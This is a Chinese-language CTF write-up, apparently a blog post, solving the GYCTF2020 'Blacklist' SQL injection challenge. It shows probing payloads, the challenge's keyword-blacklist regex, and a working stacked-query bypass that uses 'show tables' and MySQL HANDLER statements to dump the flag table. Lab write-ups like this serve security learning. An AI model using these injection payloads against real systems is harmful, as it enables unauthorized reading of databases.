[GYCTF2020]Blacklist

[GYCTF2020]Blacklist

判斷體型

這題和之前的隨便注長得一模一樣,不出意外就是SQL注入了。

標題有個hint,blacklist,之後肯定得繞過黑名單。

猜解SQL語句

1 => 正常回顯
1' => 正常回顯
1' or 1# => 正常回顯
1' and 0# => 不回顯

猜測查詢語句爲select * from Table where inject = '$inject';

猜解字段數

1' order by 1# => 正常回顯
1' order by 2# => 正常回顯
1' order by 3# => 報錯

所以知道字段數爲2

聯合查詢

1' union select 1,2#
=> 報錯 return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

這就是題目hint說的blacklist,有select不能直接聯合查詢,有set和prepare就不能預編譯了,有alter和rename,連堆注入都不行嗎?

看下大佬WP

堆注入

這題還是堆注入,不過不是像隨便注一樣重命名,而是通過handler讀取表。

先看下有哪些表。

1';show tables#

有一個FlagHere的表,應該就是它了。

hanlder讀它

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

得到flag。

參考和感謝

posted @ 2020-03-03 18:12  rpish  阅读(383)  评论(0编辑  收藏  举报